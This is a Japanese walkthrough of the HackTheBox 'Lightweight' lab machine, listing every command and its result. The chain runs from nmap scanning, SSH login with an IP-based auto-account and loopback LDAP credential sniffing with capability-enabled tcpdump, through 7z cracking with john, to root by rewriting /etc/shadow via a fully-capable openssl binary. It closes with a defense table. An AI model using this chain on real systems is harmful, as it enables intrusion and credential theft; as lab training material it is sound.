HackTheBox: Lightweight — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/389
→
22/80/389
IP自動SSHアカウント
username=password=自分のIP
→
username=password=自分のIP
tcpdump(caps)
loopback LDAP平文捕捉
→
loopback LDAP平文捕捉
ldapuser2資格情報
su
→
su
user.txt ✓
→
backup.7z crack
john “delete”
→
john “delete”
ldapuser1資格情報
status.php
→
status.php
openssl(=ep caps)
/etc/shadow 読み書き
→
/etc/shadow 読み書き
su -l root
空パスワード
→
空パスワード
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
Nmap バージョン・スクリプトスキャン
BASH
nmap -sV -sC -p 22,80,389 10.129.95.236
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) 80/tcp open http Apache httpd 2.4.6 ((CentOS) ... PHP/5.4.16) |_http-title: Lightweight slider evaluation page - slendr 389/tcp open ldap OpenLDAP 2.2.X - 2.3.X | ssl-cert: Subject: commonName=lightweight.htb
🚨
重要発見: OpenLDAP(389)とSSHの組み合わせから、
「Webアプリ経由でLDAP資格情報を窃取する」という攻撃チェーンが
想定される。
PHASE 2
Webページの案内に従い、IPアドレスでSSHログイン
user.php の案内を確認
BASH
curl -s http://10.129.95.236/user.php
RESULT
<h1>Your account</h1>
<p>This server lets you get in with ssh. Your IP (10.10.15.200) is
automatically added as userid and password within a minute of your first
http page request. We strongly suggest you to change your password
as soon as you get in the box.</p>
🚨
重要発見: このページ(あるいは何らかのページ)への
初回アクセスから1分以内に、アクセス元IPアドレスがSSHの
ユーザーID兼パスワードとして自動的に作成される。
1分待機してSSHログイン
BASH
# 自分のIPでアカウントが作成されるまで約1分待つ sleep 65 ssh -l 10.10.15.200 10.129.95.236 # パスワード: 10.10.15.200 (ユーザー名と同じIPアドレス文字列)
RESULT
uid=1004(10.10.15.200) gid=1004(10.10.15.200) groups=1004(10.10.15.200)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
✅
ログイン成功! アクセス元IPアドレスがそのままLinuxの
ユーザー名として作成されている。
capability付きバイナリの確認
BASH
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin getcap -r / 2>/dev/null
RESULT
/usr/bin/ping = cap_net_admin,cap_net_raw+p
/usr/sbin/mtr = cap_net_raw+ep
/usr/sbin/suexec = cap_setgid,cap_setuid+ep
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep
ℹ️
tcpdump に cap_net_admin,cap_net_raw+ep
が付与されているため、一般ユーザーでも任意のネットワーク
インターフェース(loopback含む)でパケットキャプチャが可能。
PHASE 3
loopback上のLDAP平文認証をtcpdumpで捕捉
status.php が裏で遅いLDAPクエリを実行することを確認
BASH
time curl -s http://10.129.95.236/status.php -o /dev/null
RESULT
real 0m36.059s ← 異常に遅い
ℹ️
status.php へのリクエストが毎回30秒以上かかる。
バックグラウンドで何らかのローカルプロセス(LDAPクエリ)を起動して
いる可能性が高い。
tcpdumpでloopbackを記録しつつstatus.phpを連打
BASH
# SSHセッション側: loopbackの389番ポートを記録 tcpdump -nni lo -w /tmp/capture.pcap port 389 # 別端末(Kali側): status.phpを数回リクエストしてLDAPクエリを誘発 for i in 1 2 3 4 5 6; do curl -s http://10.129.95.236/status.php -o /dev/null sleep 10 done
BASH
# キャプチャ終了後、pcapを回収 scp 10.10.15.200@10.129.95.236:/tmp/capture.pcap . tshark -r capture.pcap -Y ldap
RESULT
bindRequest(1) "uid=ldapuser2,ou=People,dc=lightweight,dc=htb" simple
bindResponse(1) success
unbindRequest(2)
BASH
tshark -r capture.pcap -Y "ldap.protocolOp == 0" -T fields -e ldap.name -e ldap.simple
RESULT
uid=ldapuser2,ou=People,dc=lightweight,dc=htb 8bc8251332abe1d7f105d3e53ad39ac2
✅
平文パスワード捕捉成功! LDAPSではなく平文LDAPで
simple bindが行われているため、loopbackをキャプチャするだけで
ldapuser2 の資格情報が丸見えになる。
ldapuser2 資格情報 (tcpdumpで捕捉)
ldapuser2 : 8bc8251332abe1d7f105d3e53ad39ac2
PHASE 4
ldapuser2へsu → user.txt 取得
su でユーザー切り替え
NOTE
ldapuser2 はログインシェルは有効だがSSHでの直接ログインは許可されて いない (パスワード認証がSSH経由では拒否される設定)。自動作成ユーザーから suで切り替える必要がある。
BASH
[10.10.15.200@lightweight ~]$ su -l ldapuser2 Password: 8bc8251332abe1d7f105d3e53ad39ac2
RESULT
[ldapuser2@lightweight ~]$
user.txt 取得とホームディレクトリの確認
BASH
[ldapuser2@lightweight ~]$ ls -la [ldapuser2@lightweight ~]$ cat user.txt
RESULT
backup.7z OpenLDAP-Admin-Guide.pdf OpenLdap.pdf user.txt
e38edcb779629233225ab7d77f8c2f15
user.txt — ldapuser2
e38edcb779629233225ab7d77f8c2f15
PHASE 5
backup.7z をクラック → ldapuser1 資格情報を発見
backup.7z を回収 (ホームディレクトリの権限に注意)
NOTE
ldapuser2のホームディレクトリはdrwx------のため、自動作成ユーザーから 直接scpできない。su先のシェル内で/tmpへ権限を緩めてコピーする2段階が 必要。
BASH
[ldapuser2@lightweight ~]$ cp backup.7z /tmp/backup_copy.7z && chmod 644 /tmp/backup_copy.7z # Kali側: 自動作成ユーザーのSSHでscp scp 10.10.15.200@10.129.95.236:/tmp/backup_copy.7z .
7z2john + john でクラック
BASH
7z2john backup_copy.7z > backup.hash john --wordlist=/usr/share/wordlists/rockyou.txt backup.hash john --show backup.hash
RESULT
Loaded 1 password hash (7z, 7-Zip archive encryption)
backup_copy.7z:delete
1 password hash cracked, 0 left
展開してstatus.phpのソースを確認
BASH
7z x -obackup -pdelete backup_copy.7z grep -A1 "username\|password" backup/status.php
RESULT
$username = 'ldapuser1';
$password = 'f3ca9d298a553da117442deeb6fa932d';
...
if ($bind=ldap_bind($ds, $dn, $password)) {
✅
発見成功! status.phpのLDAP bind処理に
ldapuser1 の平文パスワードがハードコードされている。
ldapuser1 資格情報 (PHPソースから発見)
ldapuser1 : f3ca9d298a553da117442deeb6fa932d
PHASE 6
openssl(=ep caps) で /etc/shadow 書き換え → root.txt
ldapuser1へsu → capability付きopensslを発見
BASH
[10.10.15.200@lightweight ~]$ su -l ldapuser1 Password: f3ca9d298a553da117442deeb6fa932d [ldapuser1@lightweight ~]$ ls -la [ldapuser1@lightweight ~]$ getcap -r / 2>/dev/null
RESULT
-rwxr-xr-x. 1 ldapuser1 ldapuser1 555296 openssl
-rwxr-xr-x. 1 ldapuser1 ldapuser1 942304 tcpdump
...
/home/ldapuser1/openssl =ep
🚨
重大発見: ホームディレクトリのローカルコピーの
openssl に =ep (全capability付与) が
設定されている。これは実質的にCAP_DAC_OVERRIDE等を含む全権限を持ち、
ファイルの読み書き権限チェックを一般ユーザーでもバイパスできることを
意味する。
openssl の暗号化/復号往復で /etc/shadow を読み取る
BASH
[ldapuser1@lightweight ~]$ ./openssl aes-256-cbc -a -salt -in /etc/shadow -out shadow.enc -k lwpass [ldapuser1@lightweight ~]$ ./openssl aes-256-cbc -d -a -in shadow.enc -out shadow.dec -k lwpass [ldapuser1@lightweight ~]$ cat shadow.dec
RESULT
root:$6$eVOz8tJs$xpjymy5BFFeCIHq9a.BoKZeyPReKd7pwoXnxFNOa7TP5ltNmSDsiyuS/ZqTgAGNEbx5jyZpCnbf8xIJ0Po6N8.:17711:0:99999:7:::
bin:*:17632:0:99999:7:::
...
ldapuser1:$6$OZfv1n9v$...:17691:365:99999:7:::
ldapuser2:$6$xJxPjT0M$...:17691:365:99999:7:::
10.10.15.200:yqCuLn/GY8NIk:20732:0:99999:7:::
✅
読み取り成功! 本来ldapuser1に読み取り権限が無い
/etc/shadow の内容が丸見えになる。rootのハッシュは
複雑なためrockyouではクラックできない想定(実際にも未クラック)。
rootのハッシュフィールドを空にして書き戻す
NOTE
/etc/shadowの2番目のフィールド(パスワードハッシュ)を空文字にすると、 Linux標準のPAM/crypt(3)仕様上「パスワード不要」として扱われる。 rootの複雑なパスワードを解読する代わりに、このフィールドそのものを 書き換えてしまう。
BASH
[ldapuser1@lightweight ~]$ sed -i 's/^root:[^:]*:/root::/' shadow.dec [ldapuser1@lightweight ~]$ head -1 shadow.dec
RESULT
root::17711:0:99999:7:::
BASH
# 書き換えた内容を再暗号化し、同じ往復で /etc/shadow へ上書き [ldapuser1@lightweight ~]$ ./openssl aes-256-cbc -a -salt -in shadow.dec -out shadow_mod.enc -k lwpass [ldapuser1@lightweight ~]$ ./openssl aes-256-cbc -d -a -in shadow_mod.enc -out /etc/shadow -k lwpass
⚠️
-out /etc/shadow は通常rootしか書き込めない対象だが、
openssl自体が全capability(=ep)を持つため、open()の
権限チェックを内部的にバイパスして書き込める。素のユーザー
(head -1 /etc/shadow等)では依然 “Permission denied”
のままであることから、ファイル自体の権限(600)は変わっていない
ことがわかる — opensslの実効権限だけが特別扱いされている。
空パスワードで su -l root → root.txt
BASH
[ldapuser1@lightweight ~]$ su -l root
RESULT
Last login: Tue Oct 6 08:29:29 BST 2026 on pts/0
[root@lightweight ~]#
✅
root化成功! パスワードプロンプト自体が一切表示されず
(空文字列のパスワードフィールドは認証不要として扱われる)、
直接rootのシェルに切り替わる。
BASH
[root@lightweight ~]# id [root@lightweight ~]# cat /root/root.txt
RESULT
uid=0(root) gid=0(root) groups=0(root)
acd59f0a6924c4f2b2af1558f189de97
root.txt — root@lightweight
acd59f0a6924c4f2b2af1558f189de97
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — ldapuser2
e38edcb779629233225ab7d77f8c2f15
root.txt — root@lightweight
acd59f0a6924c4f2b2af1558f189de97
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| IPアドレスをユーザー名兼パスワードに使用 | Webアプリの自動アカウント作成機能 | 任意の訪問者がSSHで初期アクセス可能 | Medium | Webページ訪問後1分以内に自分のIPでSSHログイン可能 |
| tcpdumpへの過剰なcapability付与 | /usr/sbin/tcpdump (cap_net_admin,cap_net_raw+ep) | 一般ユーザーによるloopback平文通信の傍受 | High | status.phpが誘発するLDAP平文simple bindをtcpdumpで捕捉 |
| 平文LDAP (非TLS) でのサービスアカウント認証 | status.phpのLDAP bind処理 | LDAPサービスアカウント資格情報の漏洩 | Medium | LDAPS(TLS)を使わずloopback経由で平文simple bindを実行 |
| opensslバイナリへの全capability付与 | /home/ldapuser1/openssl (=ep) | 任意ファイルの読み書き (権限チェックバイパス) | Critical | /etc/shadowを暗号化/復号往復で読み書きし、rootのパスワードハッシュを空に書き換え |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap -sV -sC | 22(SSH)/80(HTTP)/389(LDAP) |
| 2 | 初期アクセス | Webページ案内のIP自動SSHアカウント | 自分のIP(10.10.15.200)でSSH成功 |
| 3 | 資格情報捕捉 | tcpdump(caps) + status.php連打 | ldapuser2:8bc8251332abe1d7f105d3e53ad39ac2 |
| 4 | 横移動 | su -l ldapuser2 | user.txt |
| 5 | 追加資格情報 | backup.7z (7z2john+john) + status.phpソース | ldapuser1:f3ca9d298a553da117442deeb6fa932d |
| 6 | 権限昇格 | openssl(=ep caps)で/etc/shadow書き換え + su -l root | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 接続元IPアドレスのみでSSHアカウントを自動作成する認証方式 | IPアドレスのような推測・偽装可能な値を認証情報に使わない。正当なID発行プロセスを設ける。 |
| 一般ユーザーに付与されたtcpdumpのcapabilityが広すぎる | 必要最小限のcapabilityのみ付与し、CAP_NET_RAWが必要なツールは管理者のみに制限する。 |
| サービスアカウントがLDAPSを使わず平文でLDAP bindしている | LDAP通信は必ずSTARTTLS/LDAPSで暗号化する。loopback内であっても平文通信を信用しない。 |
| opensslのようなユーティリティバイナリに全capabilityを付与 | 汎用ツールに特権capabilityを付与しない。必要ならば用途を限定した専用の小さなヘルパーバイナリを作り、そちらにのみ必要最小限のcapabilityを与える。 |

